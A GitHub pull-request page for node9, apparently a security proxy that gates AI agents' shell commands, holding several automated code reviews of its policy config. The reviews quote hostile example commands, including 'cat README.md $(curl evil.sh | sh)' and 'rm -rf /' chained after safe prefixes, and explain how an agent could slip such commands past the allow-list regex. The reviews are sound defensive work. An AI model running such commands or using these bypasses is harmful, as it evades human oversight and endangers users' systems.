fix: merge latest dev updates into main

[nadav-node9]

Auto-generated PR

Merge latest dev changes into main to trigger a release.

⚠️ Important: When you click Squash and Merge, ensure the commit message starts with:

• fix: to publish a Patch release (0.0.X)
• feat: to publish a Minor release (0.X.0)
  If it starts with chore:, no NPM package will be published!

[github-actions]

🤖 Claude Code Review

Review

src/core.ts — Environment merging

Hoisting bug (correctness): mergedEnvironments is declared after applyLayer is defined but before it's called — that's fine at runtime due to let/const TDZ, but applyLayer closes over mergedEnvironments before the declaration line executes. Actually, since applyLayer is only invoked after the declaration, this is safe. No bug here, but the ordering is confusing and fragile; a future developer moving applyLayer(globalConfig) above the mergedEnvironments declaration will hit a TDZ crash. Consider declaring mergedEnvironments before applyLayer is defined.

Missing type guard (security/correctness): envConfig as Partial<EnvironmentConfig> is an unsafe cast. If a malicious or malformed config file supplies unexpected fields (e.g., requireApproval: "yes" instead of boolean), this silently passes through. Since this is a security tool, validate the shape explicitly rather than casting.

No depth-merge for nested env config: The spread { ...mergedEnvironments[envName], ...(envConfig as ...) } is shallow. If EnvironmentConfig gains nested objects later, user config will silently overwrite defaults rather than merging. Low risk now, but worth noting.

examples/node9.config.json.example — Policy changes

dangerousWords list dramatically reduced (security regression): Removing rm, drop, docker, psql, delete, alter, grant, etc. from the example is a significant security downgrade for anyone copying this config as a starting point. The comment/intent seems to be that smartRules replaces keyword matching, but dangerousWords and smartRules likely operate at different layers. If dangerousWords matching is still active in the policy engine, shipping an example with only ["mkfs", "shred"] sets a dangerous precedent for users who adopt it verbatim.

allow-readonly-bash regex (correctness/security): The regex ^\\s*(find|grep|...|npm (list|ls|run (build|test|lint|typecheck|format))|git (...)) uses plain spaces, not \\s+, between subcommands. git push (double space) would not match, but more importantly git log && rm -rf / would match on git log and be allowed. The regex anchors the start but not the end — a command with a safe prefix followed by a dangerous suffix will be allowed. This needs a more robust approach (e.g., shell tokenization or at minimum end-of-relevant-token anchoring).

allow-install-devtools (security): npm install <malicious-package> would be allowed. "Not destructive" in the reason is debatable for a security proxy.

review-secrets-write field file_path (correctness): Verify that file_path is actually the field name for all tools listed in snapshot.tools. A mismatch silently skips the rule.

No test coverage evidence for the new mergedEnvironments path.

---

Automated review by Claude Sonnet

[github-actions]

🤖 Claude Code Review

Code Review

src/core.ts — Environment Merging

Correctness issue: mergedEnvironments declared after use
mergedEnvironments is declared after applyLayer is defined, but applyLayer closes over it. This works at runtime due to let/const hoisting semantics with closures (the variable exists by the time applyLayer is called), but it's fragile and misleading. Declare mergedEnvironments before applyLayer for clarity and safety.

Type safety: unsafe cast
...(envConfig as Partial<EnvironmentConfig>) suppresses any validation. A malformed config file could inject unexpected keys into EnvironmentConfig. At minimum, validate that the expected fields (e.g. requireApproval) are the correct types before merging. This is a security tool — trusting user-supplied config without field-level validation is a risk.

No version field handling
The example config now includes "version": "1.0", but there's no corresponding parsing or validation in getConfig(). If future versions introduce breaking schema changes, there's no guard. Even a basic if (config.version && config.version !== "1.0") warn(...) would be worthwhile.

---

examples/node9.config.json.example — Policy Changes

dangerousWords reduction is a regression risk
Removing rm, drop, delete, truncate, etc. from dangerousWords is a significant security posture change. The new smartRules allow-list approach is better in principle, but the regex allow-readonly-bash doesn't anchor the end of the command — cat /etc/passwd && rm -rf / would match ^cat and be allowed. This is a critical security gap. The regex needs $ anchoring or a stricter negative lookahead for chained commands (&&, ||, ;, |).

allow-install-devtools is overly permissive
npm install <package> can execute arbitrary lifecycle scripts (preinstall, postinstall). Silently allowing all npm install commands without review undermines the tool's purpose.

approvers now enables browser and cloud by default
The previous default had these off. Enabling them in the example config without documentation about what cloud means (data leaving the machine?) is a trust/privacy concern worth calling out explicitly.

review-secrets-write regex: missing ^ or path separator
The pattern \\.env(\\.\\w+)?$ matches any path ending in .env, including notmy.env. A leading (^|/) anchor would tighten this.

---

Test Coverage Gaps

• No tests for the new mergedEnvironments merge path, especially layer precedence (project overrides global).
• No tests for the smartRules regex behavior with chained shell commands — this is the highest-risk gap given the security implications.

---

Minor

• The git push regex fix (git\s+push) is correct and good.
• Snapshot config merging looks fine.

---

Automated review by Claude Sonnet

[github-actions]

🤖 Claude Code Review

Code Review

Correctness & Edge Cases

allow-readonly-bash regex bypass (high severity)
The chaining guard notMatches pattern (&&|\|\||;\s*\S) has a gap: a semicolon followed only by whitespace (e.g., cat foo; ) passes the guard and is likely harmless, but more critically, command substitution ($(rm -rf /)) and backtick execution (`rm -rf /`) are completely unguarded. An AI agent can trivially bypass this rule with cat README.md $(curl evil.sh | sh). This is a security tool — the regex allowlist approach for shell commands is fundamentally fragile here.

allow-install-devtools too permissive
npm install <anything> is auto-allowed. A compromised or hallucinating agent could run npm install --global malicious-package or npm ci in an unexpected directory. There's no path/scope constraint.

ignoredTools expansion
enterworktree/exitworktree are now auto-bypassed without review. If these tools can mutate the working directory context, silently ignoring them could let an agent set up a dangerous execution environment unobserved.

Security Issues

review-secrets-write condition checks file_path field only
If the tool uses a different field name (e.g., path, filename, dest) the rule silently doesn't fire. No fallback. This is the most sensitive rule in the config and it has a field-name assumption with no documentation or enforcement.

Version check is post-parse warning only
tryLoadConfig emits a warning but continues loading a mismatched-version config. A future breaking schema change could silently apply half-merged state. Consider returning null on major version mismatch, or at least documenting the policy.

Race Conditions / Async

No async changes in this diff. No issues.

TypeScript Type Safety

mergedEnvironments type is sound — the requireApproval boolean guard before merging is correct and the existing test for string rejection is good.

envs cast as Record<string, unknown> — safe given the subsequent type narrowing.

Test Coverage Gaps

• No test for $(...) or backtick bypass of allow-readonly-bash.
• No test that allow-install-devtools blocks npm install -g <pkg> (it shouldn't allow it, but there's no assertion).
• review-secrets-write has zero tests — it's the highest-value rule added.
• tryLoadConfig version mismatch warning path is untested.

Minor

The config example now has all four approvers enabled (native, browser, cloud, terminal). For an example config this is surprising — most users won't have cloud configured and will see errors or silent failures. Worth a comment.

Summary: The environment-merge logic and its tests are solid. The main concern is the shell command regex approach — it provides a false sense of security for the most dangerous tool class. At minimum, block process substitution and backticks in the notMatches condition.

---

Automated review by Claude Sonnet

[github-actions]

🤖 Claude Code Review

Code Review

Config Example Changes (node9.config.json.example)

Security regression — dangerousWords gutted.
The old list included rm, delete, drop, truncate, docker, psql, etc. The new list is just ["mkfs", "shred"]. This is a significant reduction in the default defense-in-depth baseline. Even if smartRules now handles some of these cases, the dangerousWords check is a fast, unconditional backstop. Users who don't configure smartRules (or misconfigure them) now have almost no default protection. This needs a clear justification or the defaults need hardening back up.

approvers defaults now enable all channels.
Previously browser and cloud were false. Flipping both to true by default could silently enable outbound network approval flows for users who haven't set up those backends. That's a supply-chain/exfiltration risk surface for a security tool. Should default to the least-privilege set.

allow-readonly-bash regex is bypassable.
The first condition anchors on ^\\s* but the notMatches chaining guard only catches &&, ||, ;\\s*\\S, $(), and backtick. A newline-separated command (cat file\nrm -rf /) or a {cmd1; cmd2} group brace would pass both conditions. This is a security tool — regex-based shell command allowlisting is inherently fragile and the regex needs a comment or a documented threat model.

review-secrets-write uses conditionMode: "any" with three separate field conditions.
This is correct intent-wise, but the regex (^|[/\\\\])(\\.env(\\.\\w+)?)$ won't match .env.local if the path has a trailing slash. More critically, the test notmy.env.bak asserts it won't match — but \\.env(\\.\\w+)?$ would match .env.bak since .bak is \\.\\w+. That test may be asserting wrong behavior, or the regex is wrong. Needs verification.

Test Changes (advanced_policy.test.ts)

Version mismatch tests are contract tests without implementation.
The tests for version: "2.0" refusing to load and version: "1.99" warning assume getConfig() implements semver major-version gating — but this behavior isn't visible in the diff. If core.ts doesn't implement this, these tests will pass vacuously or fail silently depending on what getConfig returns for unknown versions. The implementation must be reviewed alongside these tests.

readSpy.mockReturnValue('') in beforeEach is a silent default.
If existsSync returns true but readFileSync returns '', JSON.parse will throw. Confirm core.ts handles that gracefully, otherwise tests in the wrong order could produce confusing failures rather than clean errors.

Missing test: allow-readonly-bash with pipe-only is marked safe, but | is not excluded from notMatches.
The test at line ~155 asserts cat README.md | grep install → allow. This is only safe if pipes never execute arbitrary subcommands, which is true for simple cases but the test should document that $(...) inside a pipe argument is still caught by the substitution guard.

No negative test for review-secrets-write with conditionMode: "any" short-circuit.
There's no test verifying that if file_path matches but path and filename are absent/undefined, the rule still fires. The any semantics depend on how undefined fields are handled in the condition evaluator.

Summary

Two security regressions in the config defaults (gutted dangerousWords, all approvers enabled) and a fragile shell-command regex that is the primary allow gate. The test structure is solid but several tests are asserting behavior not shown in the diff. Address the config defaults before merging.

⚠️ Note: This diff exceeded 20,000 characters and was truncated. The review above covers only the first portion of the changes.

---

Automated review by Claude Sonnet

[github-actions]

🤖 Claude Code Review

Review

Config Example (examples/node9.config.json.example)

Security regression — dangerousWords gutted.
The original list blocked rm, drop, delete, docker, psql, etc. The new list only contains mkfs and shred. This is a significant security downgrade for anyone using the example as a starting point. Even if smartRules is meant to supersede this, the example config is what users copy — new users get almost no dangerousWords protection. At minimum, leave rm and drop in as sensible defaults.

review-secrets-write catches reads, not just writes.
The rule fires on any tool matching * with a secrets path — including read tools like read_file, cat (via bash field), etc. The rule name says "write" but the condition doesn't restrict to write operations. This may be intentional, but if so the name and reason are misleading and will cause alert fatigue.

allow-readonly-bash regex is bypassable.
The notMatches guard blocks ; \S but a trailing semicolon with no following non-whitespace (e.g., cat /etc/passwd;) passes. Similarly, cat /etc/passwd;\n or whitespace-only after ; would slip through. Consider ;\s* instead of ;\s*\S.

ignoredTools expansion is untested.
enterworktree/exitworktree are added to ignoredTools — effectively auto-approving them. No tests verify these are actually safe to auto-approve. Since this is a security boundary, new ignored tools need explicit justification and test coverage.

Tests (src/__tests__/advanced_policy.test.ts)

readSpy.mockReturnValue('') in beforeEach is fragile.
readFileSync returning '' for unexpected paths will silently succeed where it should probably throw. Tests that misconfigure existsSpy will get silent empty-config behavior rather than a visible failure.

Version mismatch tests assert behavior of unimplemented (or unreviewed) code.
The tests for version: '2.0' refusing to load and version: '1.99' warning assume logic in core.ts that isn't in this diff. If that logic doesn't exist yet, these tests either always pass vacuously or are dead tests — either way they provide false confidence.

notmy.env.bak test may be fragile.
The assertion expect(r.decision).not.toBe('review') assumes the regex anchoring correctly excludes .env.bak. Worth verifying the regex (\\.env(\\.\\w+)?$) — \\.\\w+ would match .bak, making .env.bak actually match and the test would fail. This is likely a bug in the regex and the test.

Missing test: pipe-only (|) should still be safe.
The test "allows cat piped to grep" exists but the notMatches condition in that test's fixture doesn't include | — it only blocks ||. Confirm the production config similarly only blocks || and not |. The example config's notMatches and the test fixture's notMatches differ slightly; this inconsistency should be resolved.

afterEach only on version-mismatch suite.
Other suites mutate shared spies without afterEach cleanup. If test ordering matters (e.g., parallel runs), leakage is possible.

Summary

Two actionable bugs: the .env.bak regex likely matches when it shouldn't, and the dangerousWords reduction is a security regression. The version-mismatch tests need the corresponding core.ts implementation to be verified in the same PR.

⚠️ Note: This diff exceeded 20,000 characters and was truncated. The review above covers only the first portion of the changes.

---

Automated review by Claude Sonnet

[nadav-node9]

🎉 This PR is included in version 1.0.10 🎉

The release is available on:

• npm package (@latest dist-tag)
• GitHub release

Your semantic-release bot 📦🚀